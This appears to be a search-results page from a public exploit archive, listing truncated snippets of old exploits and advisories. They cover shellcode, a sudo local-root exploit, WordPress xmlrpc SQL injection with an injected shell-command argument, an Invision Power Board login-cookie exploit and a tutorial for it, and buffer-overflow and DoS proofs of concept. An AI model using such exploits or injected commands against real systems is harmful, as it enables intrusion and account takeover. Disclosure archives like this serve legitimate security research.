11989 matches found
Windows 9x/NT/2k/XP PEB method 29 bytes
Windows 9x/NT/2k/XP PEB method 29 bytes. Shellcode exploit for win32 platform // // PEB way of getting kernel32 imagebase by loco. // Compatible with all Win9x/NT based operating systems. // // Gives kernel32 imagebase in eax when executing. // 29 bytes, only eax/esi used. // // Originally...
DzSoft PHP Editor <= 3.1.2.8 Denial of Service Exploit
Exploit for unknown platform in category dos / poc ====================================================== DzSoft PHP Editor newPeerAddr = $host,PeerPort = $port, Proto = 'tcp' || die "- Connection email protected\n"; print "+ Connected\n"; print "+ Bindmode for socket..\n"; sleep1; binmode$sock;...
linux/x86 chroot & standart 66 bytes
Exploit for linux/x86 platform in category shellcode ==================================== linux/x86 chroot & standart 66 bytes ==================================== Linux/x86 chroot and standart shellcode. By Okti http://okti.nm.ru...
xmlrpcAnti.pl.txt
Advisory : http://gulftech.org/?node=research&articleid=00088-07022005 ------------------------------------------------------- /| | | | | /\ | | / \ \ / / |\ | | / /\ \ \ | | / | | | || \ || | | | / /\ | \ || | / | | | ||/ || | || / \ | || || | / | | | || \ || | | / / \ \ | || || | / | | ||| ||...
Sudo 1.3.1 < 1.6.8p (OpenBSD) - Pathname Validation Privilege Escalation
include include include include include define SUDO "/usr/bin/sudo" ifdef BUFSIZ undef BUFSIZ define BUFSIZ 128 endif / ANY MODIFIED REPUBLISHING IS RESTRICTED OpenBSD sudo 1.3.1 - 1.6.8p local root exploit Tested under OpenBSD 3.6 sudo 1.6.7p5 Vuln by OpenBSD errata,...
Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit
Exploit for unknown platform in category web applications =========================================================== Wordpress wp.pl http://pathto/wp admin 1 "id;uname -a;pwd;uptime" Trying Host http://pathto/wp ... + The XMLRPC server seems to be working + Char 1 is 2 + Char 2 is 1 + Cha...
WordPress 1.5.1.2 - xmlrpc Interface SQL Injection
WordPress 1.5.1.2 - xmlrpc Interface SQL Injection !/usr/bin/perl -w sorry for the late posting, had to test it. /str0ke Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection By James Bercegay // http://www.gulftech.org/ // June 21 2005 Quick and dirty proof of concept that uses the XML R...
CVE-2002-1676
The CVE-2002-1676 entry affects BindView NetInventory 1.0 when used with NetRC 1.0. The vulnerability concerns the HOSTCFG._NI file: if deleted, an audit process rewrites HOSTCFG._NI to HOSTCFG.INI, causing passwords to be stored in cleartext until the audit completes. This describes local privil...
WordPress <= 1.5.1.1 ""add new admin"" SQL Injection Exploit
No description provided by source. !/usr/bin/perl WordPress = 1.5.1.1 sql injection "add new admin" exploit by RST/GHC , http://rst.void.ru , http://ghc.ru coded by 1dt.w0lf use LWP::UserAgent; use Getopt::Std; use HTTP::Cookies; use Digest::MD5 qwmd5hex; getopts'h:p:'; $path = $opth; $pref = $op...
SquirrelMail < 1.4.5 Multiple Vulnerabilities
Binary data 3016.prm...
Crob FTP Server 3.6.1 - Remote Stack Overflow
Crob FTP Server 3.6.1 - Remote Stack Overflow / CrobFTP remote stack overflow PoC --------------------------------- Tested on Crob FTP Server 3.6.1, Windows XP Coded by Leon Juranic LSS Security / http://security.lss.hr / include include include pragma comment lib,"ws232" char fzzrecv int sock...
Invision Power Board 1.* and 2.* Exploit (BID 13529)
!/usr/bin/perl -w This one actually works : Just paste the outputted cookie into your request header using livehttpheaders or something and you will probably be logged in as that user. No need to decrypt it! Exploit coded by "Tony Little Lately" and "Petey Beege" use LWP::UserAgent; $ua = new...
Invision Power Board 2.0.3 - 'login.php' SQL Injection (Tutorial)
danica jones Tutorial for the recent exploit released by Petey Beege. 1. Get the exploit from http://www.milw0rm.com/id.php?id=1013 https://www.exploit-db.com/exploits/1013/ 2. Make sure you have LWP::UserAgent perl module if not do this: a. perl -MCPAN -e 'shell' b. inside the perl shell, do thi...
[SECURITYREASON.COM] PostNuke XSS 0.760{RC2,RC3}
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 PostNuke XSS 0.760RC2,RC3 cXIb8O3.6 Author: Maksymilian Arciemowicz cXIb8O3 Date: 4.3.2005 from SECURITYREASON.COM - --- 0.Description --- PostNuke: The Phoenix Release 0.750 PostNuke is an open source, open developement content management system CMS...
TCP TIMESTAMPS Denial of Service Exploit
Exploit for multiple platform in category dos / poc ======================================== TCP TIMESTAMPS Denial of Service Exploit ======================================== / TCP does not adequately validate segments before updating timestamp value http://www.kb.cert.org/vuls/id/637934 RFC-1323...
Microsoft Windows XP/2003 - IPv6 Remote Denial of Service
// // Example usage: LandIpV6 \Device\NPFB1751317-BAA0-43BB-A69B-A0351960B28D //fe80::2a1:b0ff:fe08:8bcc 135 // // Written by: Konrad Malewski. // include include include include include include /////////////////////////////////////////////////////////////////////////////// ///////////// from...
BakBone NetVault 6.x/7.x - Remote Heap Buffer Overflow (1)
/ Bakbone Netvault heap overflow exploit. Software Hole discovered by BuzzDee POC written by nolimit and BuzzDee. As class101 has already shown, this application has a lot of holes. This is another remote heap overflow. This was tested on the demo version of netvault. We considered mailing the...
[DR018] Quartz Composer / QuickTime 7 information leakage
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The canonical URI of this advisory is http://remahl.se/david/vuln/ 018/. This advisory concerns an as-yet unpatched problem in QuickTime 7 on Mac OS X 10.4. The reason for disclosure before a vendor patch is that another person realized the potential...
MegaBook V2.0 - Cross Site Scripting Exploit
The ultimate CGI Guestbook Scripts MegaBook V2.0 appears vulnerable to Cross Site Scripting, which will allow the attacker to modify the post in the guestbook. The affected scripts is admin.cgi URL: http://www.yourdomain.com/yourcgidir/admin.cgi I have tested the script with the following query:...